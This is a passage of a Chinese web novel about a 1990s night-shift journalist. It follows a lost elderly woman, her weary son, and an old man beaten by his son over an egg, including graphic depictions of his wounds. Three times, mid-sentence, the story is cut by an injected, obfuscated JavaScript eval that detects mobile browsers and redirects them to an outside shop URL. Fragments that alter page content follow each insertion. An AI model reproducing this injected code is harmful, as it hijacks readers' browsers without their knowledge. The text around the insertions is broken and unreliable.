叶葆启说起阿迪力的故事。小舟听得入神，嘴里的饺子忘了嚼。 “爸爸，那个小哥哥找到爸爸了，是不是特别高兴？” “特别高兴。” “要是我也丢了，爸爸能找到我吗？” 叶葆启看着儿子清澈的眼睛，忽然觉得这个问题里有整个宇宙的重量。“能。”他说，“就算你变成一阵风，一滴雨，一粒沙，爸爸也能找到你。” 素琴夹了块鱼放进小舟碗里：“咱们一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904159|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就像这鱼，骨头连着肉，肉连着皮，分不开的。” 吃完饭，叶葆启带小舟去放鞭炮。二踢脚炸响时，他捂住小舟的耳朵，感觉到儿子的小脑袋在自己手掌下轻轻震颤。那震颤顺着胳膊传上来，一直传到心里，在心壁上激起细密的回声。 夜空中的烟花一朵接一朵绽放。红的像血，绿的像翡翠，金的像皇帝龙袍上的绣线。小舟靠在他怀里，轻声说：“爸爸，烟花是不是天的伤口？” 叶葆启愣了一下。他从未这样想过。“为什么这么说？” “因为它们很美，但很快就消失了。像伤口愈合前最后的绚烂。” 叶葆启抱紧了儿子。这个七岁的孩子，用一句话道破了生命的某种真相。 午夜十二点，新年的钟声敲响。鞭炮声如潮水般涌起，淹没了整个城市。在这震耳欲聋的喧嚣中，叶葆启却感到一种奇异的宁静。他搂着素琴，站在窗前，看烟花在夜空中写下转瞬即逝的史诗。 “又一年了。”素琴轻声说。 “又一年了。” “葆启，新年有什么愿望？” 叶葆启想了想。愿望有很多，像夜空中的星星一样多。但最终，他说：“希望记忆能比遗忘跑得快一些。” 素琴不解地看着他。 “今天那个孩子，”叶葆启解释道，“如果有一天他长大了，忘记了今天的事，那么今天的寻找、眼泪、重逢，不就都白费了吗？记忆是唯一能对抗时间的东西。” 素琴靠在他肩上，没说话。窗外的烟花还在绽放，一朵巨大的金色菊花在空中盛开，缓缓凋零，花瓣散落成无数光点，像一场逆向的流星雨。 叶葆启忽然想起阿迪力吃糖时的笑容。那个笑容里有什么呢？有塔里木河清晨的水汽，有天山雪线折射的阳光，有爷爷讲述的《玛纳斯》史诗的片段，有母亲纺织时哼唱的古老歌谣。所有这些，都被一块廉价的糖果唤醒，在一个陌生的城市，在一个寒冷的冬日。 这就是魔幻现实吧，他想。最平凡的事物里，藏着最不可思议的奇迹。 夜深了，鞭炮声渐渐稀疏，最后完全停止。城市陷入沉睡，只有偶尔传来的犬吠，像梦的碎片漂浮在夜色中。 叶葆启躺在床上，却毫无睡意。他听见素琴均匀的呼吸声，听见小舟在隔壁翻身时床板的吱呀声，听见远处火车的汽笛——那汽笛声悠长得像一条没有尽头的路。 他想起了父亲，想起了父亲临终前说的话：“好好过。”现在他大概明白了，好好过，就是记住该记住的，忘记该忘记的，在记得与遗忘之间，走出自己的路。 窗外，天色渐渐发白。新年的第一缕光透过窗帘的缝隙，在地上投下一道淡金色的线。那线慢慢移动，慢慢变宽，最后铺满了半个房间。 叶葆启轻轻起床，走到窗前，拉开窗帘。晨光涌进来，温柔地拥抱了他。 新的一年，真的开始了。它会带来什么？带走什么？谁也不知道。唯一知道的是，无论发生什么，日子总要过下去，像内海河的水，冬天结冰，春天融化，夏天泛滥，秋天沉淀，周而复始，直至永远。 他回头看看熟睡的妻子和儿子，心中涌起一种难以言喻的平静。这平静很深，深得像井，井底有月亮，有星星，有一整个倒悬的天空。 而在那个天空下，在某个叶葆启不知道的地方，阿迪力大概也正在醒来，在父亲的臂弯里，迎接他在内海的第一个清晨。 晨光越来越亮，世界从灰黑变成淡蓝，再变成金黄。远处传来了第一声鸡鸣，清脆地划破晨雾。 新的一天，新的一年，就这样开始了。带着所有的记忆与遗忘，所有的相遇与离别，所有的寻找与守望。 叶葆启深深吸了口气，空气中已经有了一丝微弱的春意。虽然还很微弱，但它就在那里，像埋在冻土下的种子，等待着破土而出的时刻。 8. 第008章 忘了自己姓啥 正月初六，春雪飘得像老天爷筛面粉。旧雪未化，新雪又覆，街巷成了夹心糖。红灯笼在雪幕里晕出团团血色光晕，仿佛悬着未凉的年兽眼珠。夜气黏稠，吸进肺里带着冰碴的甜腥。 叶葆启值夜班。春节的鬼魅全挤进夜里了——醉酒汉的咒骂像爆竹炸裂，夫妻厮打碰翻的暖瓶发出哀鸣，暖气管道在墙壁里突突发喘，像垂死老人的喉音。这一夜，内海市所有的疲惫与不堪都从砖缝渗出，汇进报社二楼那盏长明灯下。 孙荣显泡茶的手势极慢，仿佛在熬制中药。茶叶在搪瓷缸里沉浮，像溺水者最后的挣扎。“葆启，听说除夕那夜你渡了个西部的魂儿？”他眼镜后的眼睛闪着幽光。 “是个活生生的孩子。”叶葆启纠正。 “活着好。”孙荣显呷了口茶，“这世道，能把魂儿留在腔子里，就是功德。” 话音未落，楼梯响起杂沓的脚步声。张大爷领着几个雪人进来——不，是人，只是浑身披雪，呵出的白气缠绕成团。他们中间夹着个更小的身影，像片枯叶贴在雪幕上。 是个老太太。棉袄臃肿如发酵的面团，围巾裹得只余一双眼睛露着。那眼睛浑浊如隔夜的米汤，看人时没有焦点，倒像在凝视另一个维度的东西。 “老开河河边儿捡的。”一个雪人抹了把脸，“坐那儿两个时辰了，问啥都摇头。” 他们留下老太太走了，脚印在雪地里犁出深沟，很快又被新雪抹平。 孙荣显关上门，屋里的暖意让窗玻璃蒙上白雾。叶葆启蹲下身，视线与老太太齐平。她的脸是风干的核桃，每道皱纹里都嵌着岁月的泥沙。 “老人家，您叫啥名？” 老太太嘴唇翕动，声音轻得像雪落：“忘了……全忘了……” “那您儿子呢？” “儿子？”她眼里忽然迸出火星，又瞬间熄灭，“儿子……是债主。” 接下来的叙述支离破碎，夹杂着呜咽和长久的沉默。她说儿子不给她饭吃——可嘴角还粘着糕饼屑；说儿子赶她出门——可她棉袄内衬缝着新棉花；说家在海北区粮店街——却又说不清门牌号。记忆在她脑中被撕成碎片，东一片西一片，拼不出完整的过往。 孙荣显打电话时，叶葆启盯着老太太的手看。那双手关节粗大，指甲缝里有洗不净的黑色，是常年劳作留下的烙印。左手无名指有道环状白痕——戴过戒指，很久很久。 “派出所说没接到报案。”孙荣显挂上电话，声音沉了下去。 老太太忽然开始哼歌。不成调的梆子戏，断断续续，像老唱片卡了纹： “正月里来雪打灯……儿在炕头娘在风……娘给儿缝棉袄呀……儿嫌针脚粗……” 叶葆启心里某处被掐了一下。他想起母亲——她也这样哼过歌，在他儿时的冬夜。煤油灯把她的影子投在土墙上，巨大如山，针线穿过棉布的“嗤嗤”声，是童年最安心的白噪音。 “您再想想，”他声音软下来，“平时去哪儿买菜？” “浮桥……”老太太眼睛亮了，“桥头第三家，豆腐老王？他的卤水豆腐……颤巍巍的，筷子夹不起，得用勺子舀……” 记忆从味觉苏醒。她说出邮局的绿色门脸，小学围墙上的标语，粮店街那棵歪脖子槐树——春天开白花，落得满地像送葬的纸钱。 线索如蚕丝，终于抽出头来。粮店街派出所民警在电话那头拍大腿：“十三号！王老太！儿子叫王磊，下午来问过，又说不用立案，老太太自己会回来！” “让他来接。” “他说……让送回去。” 叶葆启握话筒的手发紧。塑料外壳在掌心吱呀作响，仿佛下一刻就要碎裂。“告诉他，”他一字一顿，“今晚不来，明天《内海都市报》社会版头条，我替他扬名。” 挂电话时，他看见玻璃窗映出自己的脸——扭曲，愤怒，陌生。 老太太又哼起歌来：“……娘吃糠呀儿吃米，娘睡稻草儿睡席……” 凌晨一点，王磊来了。他不是一个人来的，身后跟着条黑影——是他自己的影子，被走廊灯拉得细长扭曲，先于人撞进门内。 四十多岁的人，却有了六十岁的眼神。皮夹克袖口磨出发亮的油光，手指焦黄，浑身散发着烟与困顿混杂的气味。他没看母亲，先看记者：“给你们添麻烦了。” 声音干瘪，像晒透的豆荚。 老太太往叶葆启身后缩，枯手抓住他的椅背，指甲抠进木头缝里。 “你母亲说你打她。”叶葆启说。 王磊脸上肌肉抽搐了一下，像有虫在皮下爬。“不打。”他顿了顿，“骂过。她拉在裤子里，三九天，我得拆洗棉裤。” 话说得平淡，却砸在地上溅起冰碴。 老太太忽然开口，异常清晰：“磊，你六岁那年发烧，娘背你走二十里夜路去医院。你趴我背上说，娘，等我长大，背你走百里。” 王磊身体僵住了。他慢慢转头，第一次正眼看母亲。眼神复杂得像调色盘打翻——有怨恨，有疲惫，最深处还藏着一丝来不及掩藏的痛。 “妈，回家。”他说。三个字，耗尽所有力气。 搀扶的动作依旧粗鲁，但老太太没再躲。她经过叶葆启身边时，从棉袄深处掏出个东西，塞进他手里——是块手帕，旧的，洗得发硬，角上绣着朵褪色的梅花。 门关上了。脚步声在楼梯间回荡，越来越远，最终被雪吞没。 孙荣显拨弄炉钩，煤块炸开一朵橘红色的花。“看见了吗？人老了，就成了一件旧家具。扔不得，放着碍眼。” 叶葆启展开手帕。梅花是湘绣手法，针脚细密，曾是鲜亮的粉红。手帕裹着块硬糖，水果糖，透明玻璃纸已经和糖粘在一起，不知藏了多久。 他把糖放进嘴里。甜味早已走散，只剩下一股陈年的糖精涩味。 凌晨三点，记忆如潮水涌来。父亲临终前那个冬天，屋里总弥漫着碘酒和腐朽的气息。父亲瘦成一把枯柴，躺在床上像片影子。有天深夜，叶葆启趴在他床边打盹，忽然听见父亲说： “葆启，爹梦见自己变成了一只鸟。” “飞得高吗？” “不高，就在咱家房顶转悠。看你在院里劈柴，你妈在灶台忙活，小舟追鸡撵狗。”父亲的声音轻得像羽毛，“当人太累，当鸟好，飞累了，就落自家屋檐上。” 一个月后，父亲真的飞走了。出殡那天，有只麻雀一直跟着送葬队伍，从家跟到坟地，停在墓碑上，直到所有人离去。 叶葆启忽然懂了——父亲没走远。他只是换了个方式，继续守着这个家。 窗外透出蟹壳青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904160|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，他拨通母亲电话。铃响七声才接，母亲的声音带着睡意和微喘：“谁呀……是不是葆启？” “妈，是我。” “哎哟，真是……我刚梦见你掉河里了，正着急呢……” “梦是反的。”叶葆启喉头发紧，“今天下班我回去，你想吃啥？” “啥都行……”母亲在电话那头笑，“你买的槽子糕，比哪家的都香。” 挂电话时，天已大亮。雪停了，世界被漂洗过一般素净。几个孩子堆的雪人站在胡同口，胡萝卜鼻子冻得发黑，像根枯萎的生殖器。红围巾在风里飘，一下，一下，抽打着清晨。 叶葆启骑车回家，车轮碾过的雪地发出骨骼碎裂的脆响。素琴在熬粥，小米在锅里翻滚，吐出一圈圈金色泡沫。 “老太太送回去了？”她没回头。 “嗯。” “她儿子会好好待她吗？” 叶葆启没答。他看着粥面上凝结的米油，那层薄薄的、颤巍巍的膜，一碰就碎。 下午去看母亲。她正在翻相册，老花镜滑到鼻尖。照片从黑白到彩色，记录着一个家族从浓到淡的过程。有张照片上，父亲抱着幼年的他，两人都在笑，牙齿白得耀眼。 “你看你爹，多精神。”母亲手指摩挲照片。 “妈，要是以后我忘了你，咋办？” 母亲抬头，笑了，缺牙的牙龈露出来：“忘了就忘了。娘记得你就行。” 她掀开褥子，拿出一双鞋垫——是纳了一半的，针还别在上面。“给你做的。老了，眼神不济，一天只能纳几针。”鞋垫上绣着云纹，针脚歪斜，却密实。 叶葆启把鞋垫贴在心口。棉花吸饱了阳光，暖烘烘的，带着母亲皮肤的温。 离开时，母亲照例送到门口。他走到胡同拐角回头，她还站在那里，白发在风里招摇，像棵不肯倒下的芦苇。 当晚值班，他在记录本上写道： “1993年2月2日，夜。雪。八旬王氏，忘姓失家。其子王磊，疲如败犬。余观其母子，如照孽镜。忽悟世间孝道，非天性使然，乃与遗忘赛跑之挣扎。父母渐成孩童，子女强作爹娘，角色倒错间，爱恨熬成一锅稠粥，糊了锅底，苦了舌尖。 另记：母亲赠鞋垫一双，嘱余踏雪防寒。针脚虽疏，暖意透背。忽念王氏或亦有物赠其子，只是未及掏出，便已忘却。 夜将尽时，梦见所有走失老人都化作归鸟，栖于各家檐下，默然守望。醒来枕上有冰，不知是泪是霜。” 写完合本，东方既白。新的一天，旧的戏码，又将在这座城市反复上演。 而雪终究会化。化成水，渗入土，滋养草木。待到下一个冬天，又以另一种形式归来——就像记忆，就像爱，就像所有我们以为失去的，其实都在天地间流转，等待重逢的契机。 炉火渐熄。叶葆启披衣出门，在晨雪中站了片刻。远处传来第一班电车的铃声，叮当，叮当，像在唤醒什么，又像在送别什么。 他深吸一口气，冰凉的空气灌满肺叶。 活着，就要继续记录。记录这座城的疼痛与温柔，记录普通人在时代夹缝中，如何用肉身扛住遗忘的重量。 因为记者不仅写新闻。 更是在为无法发声者，雕刻墓碑上最后一行墓志铭。 9. 第009章 血染的“孝顺” 三月开春，内海的河睡醒了。冰层在半夜裂开，那声音不像破裂，倒像是地底下有巨人在打鼾，鼾声从河心滚到岸边，震得柳树嫩芽簌簌发抖。碎冰挤挤挨挨往下漂，白花花一片，远看像送葬的队伍撒的纸钱，近看每块冰里都冻着去年冬天的秘密——半片枯叶、冻僵的昆虫、还有不知谁家孩子丢的玻璃弹珠，在冰里睁着彩色的眼睛。 叶葆启值夜班满半年了。他的脸越来越像浸泡在福尔马林里的标本，苍白，透着青。眼袋沉甸甸地坠着，里面仿佛装着这半年收集的所有黑夜。素琴说他“快修炼成夜游神了”，说这话时她正对着镜子拔白头发，一根，两根，都小心地夹进一本旧书里。小舟却很自豪，在幼儿园拍着胸脯说：“我爸爸是抓坏人的，专在晚上抓！” “爸爸，昨晚你抓的坏人哭了吗？”小舟早上总这样问，眼睛亮得像刚擦过的玻璃球。 “没抓坏人，是帮人。”叶葆启纠正，声音有些干涩。 “帮人也是英雄！”小舟坚持。这孩子认定的事，十头牛也拉不回来，像他爷爷。 三月十五日，晚上十点。电暖器嗡嗡叫着，像只疲倦的钢铁蜜蜂。热风烤得人皮肤发紧，嘴唇起皮。解平生搓着手，那双手骨节粗大，掌心布满老茧——他年轻时在码头扛过麻袋。 “春天了，骨头缝里还往外冒寒气。”解平生说。 “倒春寒。”叶葆启盯着窗外，“去年这时候，槐花都开了。” 话音刚落，楼下传来自行车链条刮擦挡泥板的嘶叫，接着是楼梯被踩痛的呻吟。张大爷上来了，身后跟着一团影子。不，是一个人，一个瘦得几乎只剩骨架的老人。 “记者同志，这位大爷受伤了，你们快看看！”张大爷的声音在颤抖，每个字都像从筛子里筛出来的。 叶葆启站起来。老人约莫六十多岁，也许七十，岁月把人的年纪磨成了谜。他穿着秋衣秋裤——那种深蓝色的棉毛衫裤，洗得发白，袖口和裤脚都松垮垮地垂着，像是随时准备从他身上滑走。没穿外套，光脚趿拉着布鞋，十个脚趾像十颗干瘪的枣，紧紧抠着鞋面。 血。先是闻到血的味道，铁锈似的腥甜，混着老人身上陈年的汗酸味。然后才看见血——左腿上，秋裤被划开一道大口子，像一张咧开的嘴，正汩汩地往外吐着血沫子。伤口处的肉翻卷着，白中透红，红里泛白，能看见骨头，白森森的，像河底捞上来的石头。血不是流，是涌，一股一股的，有节奏地喷涌，在地板上积了一小摊。那摊血在灯光下闪着暗红的光，像一块活着的地毯，边缘还在缓慢地蠕动。 胸口、胳膊上也有伤，血把秋衣染成了深褐色，一块块斑驳，像地图上被战火蹂躏的疆域。 “快坐下！”叶葆启扶老人坐下。 老人很轻，轻得像一捆晒干的稻草。他坐下了，眼睛直勾勾地看着前方墙上的值班表，眼神空洞，仿佛灵魂已经从头顶的囟门溜走了，留下的只是一具会喘气的皮囊。 “怎么伤的？”解平生问，声音压得很低，像是怕惊扰了什么。 “儿子砍的。”老人说，声音平静得像在说“今天月亮挺圆”。 叶葆启心里那根弦“啪”地断了，亲耳听见“儿子砍的”四个字从一位父亲嘴里说出来，还是觉得有把钝刀在心脏上慢慢锯。 “用刀砍的？” “菜刀背。”老人抬起左腿，那个动作缓慢得像是电影慢镜头。伤口更深了，白森森的骨头露得更多，像在冷笑。“砍了七八下。我数着呢，一下，两下，三下……数到第八下，他累了，把刀扔了。” 解平生已经找来急救箱。他蹲下身，先用纱布按住伤口。血很热情，立刻把纱布拥抱成红色。换一块，又红一块，像变魔术。 “得送医院！”解平生额头冒汗，“这血止不住！” 老人摇头，脖子上的青筋像蚯蚓一样蠕动：“不去医院。我来，是让你们记者看看，给我那畜生儿子曝曝光。让全内海人都知道，屈超是个什么东西。” “大爷，先止血，命比名声要紧。”叶葆启解开自己的皮带——牛皮的，用了五年，扣头磨得发亮。他把皮带紧紧扎在老人大腿根部，勒进肉里，血果然流得慢了，但伤口还在往外渗，一滴，两滴，敲打在地板上，声音很轻，但每一声都像重锤砸在叶葆启心上。 “大爷，您住哪儿？” “桃花源里，我们家在三楼。”老人说，“离这儿不远，我是一步步挪过来的。血滴了一路，明天太阳出来，你们顺着血迹就能找到我家。” “您儿子为什么砍您？” 老人沉默了。时间在那一刻变得黏稠，电暖器的嗡嗡声显得格外刺耳。墙上的钟滴答滴答，秒针每走一步都像在踩踏谁的心脏。 过了很久，老人才开口，声音飘忽得像从很远的地方传来：“因为我吃了他的鸡蛋。” “鸡蛋？” “嗯。”老人眼神更空洞了，“他买了五个鸡蛋，准备早上煮面吃。鸡蛋摆在碗柜里，一个个圆滚滚的，像五个小太阳。我夜里饿，胃里像有只手在抓，就起来煎了一个。真香啊，油锅里‘滋啦’一声，蛋黄流出来，金黄金黄的……我吃完了，碗都洗了，以为他不知道。” 老人停顿了一下，喉结上下滚动：“可他知道了。早上起来看见碗柜里少了个鸡蛋，就疯了。眼睛红得像个兔子，不，像个恶鬼。他说：‘爹，你是不是偷吃我鸡蛋了？’我说是，我饿。他就从厨房拿出菜刀，不是刀刃，是刀背，说刀刃太快，怕把我砍死了……” 叶葆启和解平生对视一眼。解平生的拳头攥紧了，指甲嵌进掌心。叶葆启感到一阵恶心，不是生理上的，是灵魂深处的恶心——为了一颗鸡蛋，把亲爹砍得骨头都露出来？ “您怎么不跑？不报警？”解平生问。 老人突然激动起来，那具干瘦的身体里爆发出惊人的力量：“报警？报警我儿子就得进去！判刑！劳改！那我咋办？谁给我养老送终？我死了谁给我摔盆打幡？” 叶葆启愣住了。这逻辑像一条毒蛇，紧紧缠绕着他的思维。儿子砍我，我不能告他，因为他是我的养老依靠——多么荒诞，多么真实，多么鲜血淋漓的真实。 “大爷，他都这样对您了，您还指望他养老？” “他是我儿子！”老人声音嘶哑，像破风箱在拉，“打断骨头连着筋！他就是再不是东西，也是我身上掉下来的肉！我老伴死得早，我就这么一个儿，他要是进去了，我活着还有什么意思？” 血还在流。皮带扎得太紧，老人的腿开始发紫。地板上的血摊变大了，暗红色的，表面已经结了一层薄薄的膜，像劣质的果冻。解平生换纱布的手在发抖。 “必须送医院！”叶葆启站起来，椅子腿在地上划出刺耳的尖叫，“再流下去，您等不到见报了！” “我不去！”老人死死抓住椅子扶手，指关节白得像要戳破皮肤，“你们记者给我写！写大点，登头版！让街坊邻居都看看，我屈星群养了个什么样的畜生！” 叶葆启看着老人倔强的脸——那张脸上沟壑纵横，每道皱纹里都藏着苦难；又看看那汩汩流血的伤口——那伤口像个永不闭合的嘴，在无声地呐喊。他一咬牙，对解平生说：“你按住他，我去拦车。” 他冲下楼，夜风像冰水泼在脸上。街上空荡荡的，路灯把他的影子拉得很长，像个瘦长的鬼。等了仿佛一个世纪，才来了一辆“面的”——黄色的小面包出租车，车灯昏黄，像惺忪的睡眼。他疯狂挥手，车子停下，司机摇下车窗，是个年轻人，嘴里叼着烟。 “师傅，帮个忙，楼上有个老人快不行了，送医院！” 司机把烟吐掉：“上来吧！” 两人上楼，和解平生一起把老人扶下楼。老人很轻，轻得让人心慌。搬到车上时，他还在喃喃：“我不去医院……我要登报……让所有人都知道……” “大爷，先活命。”叶葆启关上车门，掏出十块钱——他口袋里所有的现金，“总医院，快！闯红灯算我的！” 面的开走了，尾灯在夜色里拖出两条红色的光痕，像伤口在流血。 叶葆启回到楼上，看着地上的血。那摊血在灯光下呈现出诡异的层次感——最外围是暗红色，已经半凝固；中间是鲜红色，还在微微颤动；最中心是深褐色，黏稠得像糖浆。他蹲下身，伸手摸了摸，血还是温的，带着人体的余温。 他打了两个电话。一个给桃花源里派出所，接电话的是老孔所长，叶葆启的老熟人。他把情况说了，孔所长在那头叹气：“又是屈星群……这老爷子，唉。” “您认识？” “认识。他儿子屈超，去年因为赌博被我们处理过。老爷子来求情，跪在地上磕头，额头都磕破了。起来的时候说：‘同志，你们关他几天教育教育就行，可别判刑啊，他还得给我养老呢。’” 第二个电话打给妇联权益部门的。接电话的女同志声音很疲惫，听说情况后说：“我们记录一下，但这种事……如果老人自己不追究，我们很难介入。家庭暴力，清官难断家务事啊。” 挂了电话，叶葆启开始擦地。他打来一盆水，水很清，能看见盆底印着的红双喜字——不知是哪个同事结婚时发的。他把抹布浸湿，拧干，开始擦。血很难擦，黏糊糊的，抹布一过，血不是被擦掉，而是被抹开了，在地上拖出长长的红色痕迹，像谁用蘸血的毛笔胡乱画的符咒。 他擦了很久，水换了一盆又一盆。第一盆水变成淡红色，第二盆变成粉红色，第三盆还有淡淡的红。到第四盆，水终于清了。但地板上那些缝隙里，血已经渗进去了，擦不掉，留下暗红色的印记，像大地永远无法愈合的伤痕。 解平生坐在椅子上，脸色铁青：“这他妈的叫什么事？儿子砍爹，爹还护着儿子。一颗鸡蛋，换十八刀——我刚才数了，伤口正好十八处。” “不是孝，是恐惧。”叶葆启说，手里的抹布滴着粉红色的水，“把儿子当命根子，哪怕这命根子是条毒蛇，也得紧紧攥着，因为一松手，就什么都没了。” “现在怎么办？” “等。”叶葆启点起一支烟，手抖得差点没点上，“等医院消息，等派出所消息，等命运给这个荒诞的故事一个结局——如果命运还算公正的话。” 但命运往往不公正。凌晨两点，电话响了。是老孔所长。 “叶记者，王大爷在医院包扎了，伤口缝了十八针——真是巧了，十八刀，十八针。我们问他儿子在哪，他不说，把头扭到一边，盯着天花板。问他告不告，他说：‘告什么告，我儿子还小，不懂事。’” “他儿子四十多了吧？” “四十二。”孔所长苦笑，“在老爷子眼里，永远是个‘孩子’。我们想找屈超，但屈大爷不说地址，只说‘家丑不可外扬’。我们只能慢慢查，挨家挨户问。这种事太多了，叶记者，太多了。老人被打，被骂，被饿着，可一到要追究，就心软了。总说‘家丑不可外扬’，‘孩子还小不懂事’。可那些‘孩子’，有的都当爷爷了！” 挂了电话，叶葆启感到一阵深深的无力。他走到窗边，外面是沉睡的城市。远处有几扇窗还亮着，像夜的眼睛。那些亮灯的窗户里，在发生什么？是不是也有老人在挨打？是不是也有儿子在举刀？是不是也有血，正悄悄渗进地板缝里，成为这个城市永久的秘密？ 解平生说：“写篇稿子吧。不点名，但把事说清楚。让那些沉默的老人知道，有人看见了；让那些举刀的手知道，有人记着了。” “好。”叶葆启打开稿纸。稿纸很白，白得刺眼。他拿起笔，笔尖悬在纸上，像一把悬在空中的刀。墨水滴下来，洇开一小团黑色，像一滴浓缩的夜。 他想起自己的父亲。父亲一生温和，最生气的时候也不过是把文件摔在桌上，说：“叶葆启，你给我站好！”然后开始讲道理，讲仁义礼智信，讲得唾沫星子横飞，讲到他认错为止。父亲常说：“打孩子的父母，是无能的父母。孩子不是畜生，是人，得用人道。” 可是，孩子打父母呢？那是什么？是畜生不如吗？还是说，在某个扭曲的逻辑里，这也是一种“孝”——父亲用血肉教会儿子，什么是暴力的权力？ 凌晨四点，稿子终于写完了。他写得很克制，但每个字都像从血里捞出来的。他写那颗鸡蛋——金黄的，流心的，在油锅里“滋啦”一声；写那把菜刀——刀背厚实，砍在骨头上发出沉闷的响声；写十八针——针尖穿过皮肉，线在伤口上穿梭，像缝合一个破碎的梦；写老人那句话——“他是我儿子”，写这句话时，他的笔停顿了很久，墨水在纸上晕开，像个模糊的泪痕。 写完最后一个字，天快亮了。东方泛出鱼肚白，那白色渐渐晕染开，变成淡青，淡紫，最后是一抹羞涩的橘红。晨光熹微，像羞怯的少女，轻轻推开夜的门。 解平生趴在桌上睡着了，发出轻微的鼾声。叶葆启没有睡意，他走到窗边，看着苏醒的城市。早点摊出摊了，炸油条的香味飘上来，混着煤烟味、晨露味，还有城市本身那种说不清道不明的气味。公交车发车了，一辆接一辆，像一串移动的铁盒子，每个盒子里都装着几十个刚刚醒来的梦。清洁工在扫街，扫帚划过地面，沙沙的，像大地在低声诉说。 这就是生活。表面平静如内海的河水，底下却暗流涌动，藏着无数碎冰，每块冰里都冻着一个秘密。有多少个屈星群这样的老人，在沉默中忍受？有多少把菜刀，在家庭的名义下举起又落下？有多少摊血，正在某块地板缝里慢慢变黑，成为这个城市肌体里永不消退的瘀青？ 他不知道。他只知道，他看见了，他记下了。 骑车回家时，太阳完全出来了。金色的阳光像熔化的金子，泼洒在街道上、屋顶上、行人的脸上。胡同里，老人们已经出来活动了。打太极的，动作缓慢如水中捞月；遛鸟的，鸟笼用蓝布罩着，只听见啁啾声；晒太阳的，靠在墙根，眯着眼，像一尊尊泥塑。看见他，都打招呼：“葆启，下班了？” “嗯，下班了。” “辛苦辛苦。” “不辛苦。” 其实辛苦，但不是身体的辛苦，是心里的。心里那块石头，搬不走，只能背着。 回到家，素琴正在熬粥。小米粥，黄澄澄的，在锅里咕嘟咕嘟冒泡。见他脸色不好，问：“怎么了？又遇着难啃的骨头了？” 叶葆启把屈星群的事说了。他说得很慢，每个细节都说了——那颗鸡蛋，那把菜刀，十八针，老人空洞的眼神，地上那摊温热的血。素琴听着，手里的勺子“哐当”掉锅里，溅起几点滚烫的粥。 “天啊……”她喃喃道，声音飘忽，“这还算人吗？为一颗鸡蛋……” “老人不让报警，说怕儿子坐牢，没人养老。” 素琴沉默了很久。粥在锅里继续咕嘟着，水汽蒸腾，模糊了她的脸。最后她说：“我在街道办，也见过这样的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904161|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去年，刘婶，记得吗？住槐花胡同那个，被儿媳妇打得浑身青紫，胳膊都折了。我们来调解，她坐在炕上，用那只好手护着伤手，说：‘我自己摔的，不小心，从台阶上滚下来了。’可她家根本就没台阶！” “为什么不说实话？” “为什么？”素琴苦笑，那笑容比哭还难看，“因为老了，没用了，得像藤蔓一样缠着子女这棵树。树给你荫凉，也给你风雨；给你依靠，也给你鞭打。可你能离开树吗？离开就死了，枯了，烂在地里了。” 叶葆启心里一凛。他想起屈星群瘦骨嶙峋的样子，像一棵被虫蛀空的老树；想起他说的“他是我儿子”，那语气不像在说儿子，像在说唯一的救命稻草；想起他流血时倔强的眼神——那不是勇敢，是绝望，是知道自己无处可去的绝望。 “咱们以后老了，”素琴突然说，声音很轻，但很坚定，“绝不这样。能动的时候自己过，养花，养猫，你写你的文章，我唱我的戏。不能动了，互相照顾，你帮我梳头，我帮你读报。真到两个人都不能照顾了，就去养老院，不拖累小舟。咱们攒钱，从现在就开始攒。” “嗯。”叶葆启握住妻子的手。那手不再年轻，皮肤有些松弛，掌心有茧，但温暖，真实。“咱们好好的，谁也不打谁，谁也不欠谁。咱们是夫妻，是伴儿，不是债主和欠债人。” 小舟醒了，揉着眼睛出来，睡衣歪歪扭扭，露出半边肩膀。“爸爸，你昨晚又帮人了吗？” “嗯。” “帮的什么人？” 叶葆启想了想，说：“帮了一个老爷爷，他受伤了，很疼，但很坚强。” “那他哭了吗？” “没有。不过他的血哭了，滴了一路，从桃花源里一直哭到记者站。” 小舟似懂非懂地点点头，去洗脸了。水声哗哗，像春天解冻的小溪。 那天下午，叶葆启睡得不安稳。梦里全是血，但不是屈星群的血，是无数人的血，汇成一条红色的河，河面上漂着碎冰，每块冰里都冻着一张脸——痛苦的，麻木的，绝望的。他在河边走，想捞起那些脸，但手一碰，冰就化了，脸也化了，只剩一滩血水。 醒来时，一身冷汗，枕头都湿了。窗外有小孩在放风筝，笑声银铃似的，穿过玻璃窗，刺得他耳朵疼。 他去报社送稿子。陈秉烛看了，看了很久。办公室里很静，只有翻动稿纸的沙沙声，像春蚕在啃桑叶。 “葆启，”最后陈秉烛说，摘下老花镜，揉了揉鼻梁，“这稿子我发。但你要有心理准备，可能会有读者骂——骂你管闲事，骂你破坏家庭和谐，骂你往社会主义脸上抹黑。” “我明白。” 